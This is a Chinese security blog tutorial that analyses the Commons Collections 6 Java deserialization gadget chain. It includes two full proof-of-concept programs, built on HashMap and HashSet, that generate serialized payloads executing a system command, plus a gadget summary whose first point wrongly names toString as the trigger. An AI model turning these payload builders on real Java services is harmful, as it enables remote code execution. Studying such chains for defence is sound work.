Java反序列化漏洞(八)- CommonsCollections6链

在 CC5 中我们使用了 TiedMapEntry#toString 来触发 LazyMap#get,在 CC6 中是通过 TiedMapEntry#hashCode 来触发。之前看到了 hashcode 方法也会调用 getValue() 方法然后调用到其中 map 的 get 方法触发 LazyMap,那我们如何在反序列化时触发 TiedMapEntry 的 hashcode 方法呢?

0x01 前置知识

之前在 URLDNS 中,我们发现,在反序列化一个 HashMap 对象时,会调用 key 对象的 hashCode 方法计算 hash 值。那在此处当然也可以用来触发 TiedMapEntry 的 hashCode 方法。
那就要面临在 URLDNS 中同样面临的问题:调用链会在 HashMap 的 put 方法调用时提前触发,需要想办法绕过触发,可以采用以下几种方式:

  • 类似 URLDNS2 的利用反射调用 putVal 方法写入 key 避免触发。
  • 在向 HashMap push LazyMap 时先给个空的 ChainedTransformer,这样添加的时候不会执行任何恶意动作,put 之后再反射将有恶意链的 Transformer 数组写到 ChainedTransformer 中。

这样就完成了一个 HashMap 的触发方式。
HashMap 的 put 方法可以触发 key 的 hashCode ,那还有没有入口类能触发这个方法了?于是就有了 CC6 的 HashSet 触发方式。

HashSet

HashSet 是一个无序的,不允许有重复元素的集合。HashSet 本质上就是由 HashMap 实现的。HashSet 中的元素都存放在 HashMap 的 key 上面,而 value 中的值都是统一的一个private static final Object PRESENT = new Object();。HashSet 跟 HashMap 一样,都是一个存放链表的数组。

在 HashSet 的 readObject 方法中,会调用其内部 HashMap 的 put 方法,将值放在 key 上。

0x02 攻击构造

首先是结合 LazyMap 和 HashMap 的方式,这里使用了之前在 URLDNS2 中的反射代码,以及同时写了包含 Fake Chain 绕过触发的方式。

public class CC6WithHashMap {
    public static String fileName = "CC6WithHashMap.bin";

    public static void main(String[] args) throws IOException, ClassNotFoundException, NoSuchFieldException, IllegalAccessException, InvocationTargetException {

        // 初始化 HashMap
        HashMap<Object, Object> hashMap = new HashMap<>();

        // 创建 ChainedTransformer
        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
                new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
        };

        // 创建一个空的 ChainedTransformer
        ChainedTransformer fakeChain = new ChainedTransformer(new Transformer[]{});

        // 创建 LazyMap 并引入 TiedMapEntry
        Map lazyMap = LazyMap.decorate(new HashMap(), fakeChain);
        TiedMapEntry entry   = new TiedMapEntry(lazyMap, "sanshi");

        hashMap.put(entry, "sanshi");

        //用反射再改回真的chain
        Field f = ChainedTransformer.class.getDeclaredField("iTransformers");
        f.setAccessible(true);
        f.set(fakeChain, transformers);
        //清空由于 hashMap.put 对 LazyMap 造成的影响
        lazyMap.clear();

        // 反射调用 HashMap 的 putVal 方法
//        Method[] m = Class.forName("java.util.HashMap").getDeclaredMethods();
//        for (Method method : m) {
//            if ("putVal".equals(method.getName())) {
//                method.setAccessible(true);
//                method.invoke(hashMap, -1, entry, 0, false, true);
//            }
//        }

        writeObjectToFile(hashMap, fileName);
        readFileObject(fileName);
    }

    public static void writeObjectToFile(Serializable obj, String fileName) throws IOException {
        try (ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream(fileName))) {
            oos.writeObject(obj);
        }
    }

    public static Object readFileObject(String fileName) throws IOException, ClassNotFoundException {
        try (ObjectInputStream ois = new ObjectInputStream(new FileInputStream(fileName))) {
            return ois.readObject();
        }
    }
}

比较简单,就是一个缝合。接下来看一下第二种 HashSet 的触发方式。

public class CC6WithHashSet {

    public static String fileName = "CC6WithHashSet.bin";

    public static void main(String[] args) throws Exception {

        // 初始化 HashMap
        HashMap<Object, Object> hashMap = new HashMap<>();

        // 创建 ChainedTransformer
        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
                new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
        };

        // 创建一个空的 ChainedTransformer
        ChainedTransformer fakeChain = new ChainedTransformer(new Transformer[]{});

        // 创建 LazyMap 并引入 TiedMapEntry
        Map lazyMap = LazyMap.decorate(new HashMap(), fakeChain);
        TiedMapEntry entry   = new TiedMapEntry(lazyMap, "sanshi");

        hashMap.put(entry, "sanshi");

        HashSet set = new HashSet(hashMap.keySet());

        //用反射再改回真的chain
        Field f = ChainedTransformer.class.getDeclaredField("iTransformers");
        f.setAccessible(true);
        f.set(fakeChain, transformers);
        //清空由于 hashMap.put 对 LazyMap 造成的影响
        lazyMap.clear();

        writeObjectToFile(set, fileName);
        readFileObject(fileName);
    }

    public static void writeObjectToFile(Serializable obj, String fileName) throws IOException {
        try (ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream(fileName))) {
            oos.writeObject(obj);
        }
    }

    public static Object readFileObject(String fileName) throws IOException, ClassNotFoundException {
        try (ObjectInputStream ois = new ObjectInputStream(new FileInputStream(fileName))) {
            return ois.readObject();
        }
    }
}

可以看到我们只是简单的在 HashMap 之外嵌套了一层 HashSet。在 ysoserial 中的 CC6 payload 中,作者 matthias_kaiser 多次使用反射向 HashMap 及 HashSet 中写入值,并兼容了 JDK 7 和 8 中成员变量名发生变化的情况。并且是通过向底层 map 中的 节点添加的方式。

这种方式有点过于冗杂了,不如使用空 Transformer 链反射的方式,大大方方的向 HashMap 或 HashSet 中 push 数据。

0x03 总结

以上就是 CC6 链分析的全部内容了,最后总结一下。

1.利用说明:

  • 反序列化 调用 TiedMapEntry 的 toString 方法,简介调用了 LazyMap 的 hashCode 方法,触发了后续的 Transformer 恶意执行链。

2.Gadget 总结:

  • kick-off gadget:java.util.HashSet#readObject()/java.util.HashMap#readObject()
  • sink gadget:org.apache.commons.collections.functors.InvokerTransformer#transform()
  • chain gadget:org.apache.commons.collections.keyvalue.TiedMapEntry#hashCode()

3.调用链展示:

HashSet.readObject()/HashMap.readObject()
    HashMap.put()
        HashMap.hash()
            TiedMapEntry.hashCode()
                LazyMap.get()
                    ChainedTransformer.transform()
                        InvokerTransformer.transform()

4.依赖版本:
commons-collections : 3.1~3.2.1

免责声明

免责声明:本博客的内容仅供合法、正当、健康的用途,切勿将其用于违反法律法规的行为。如因此导致任何法律责任或纠纷,本博客概不负责。谢谢您的理解与配合!

微信公众号

本文链接:

https://sanshiok.com/archive/25.html

# 最新文章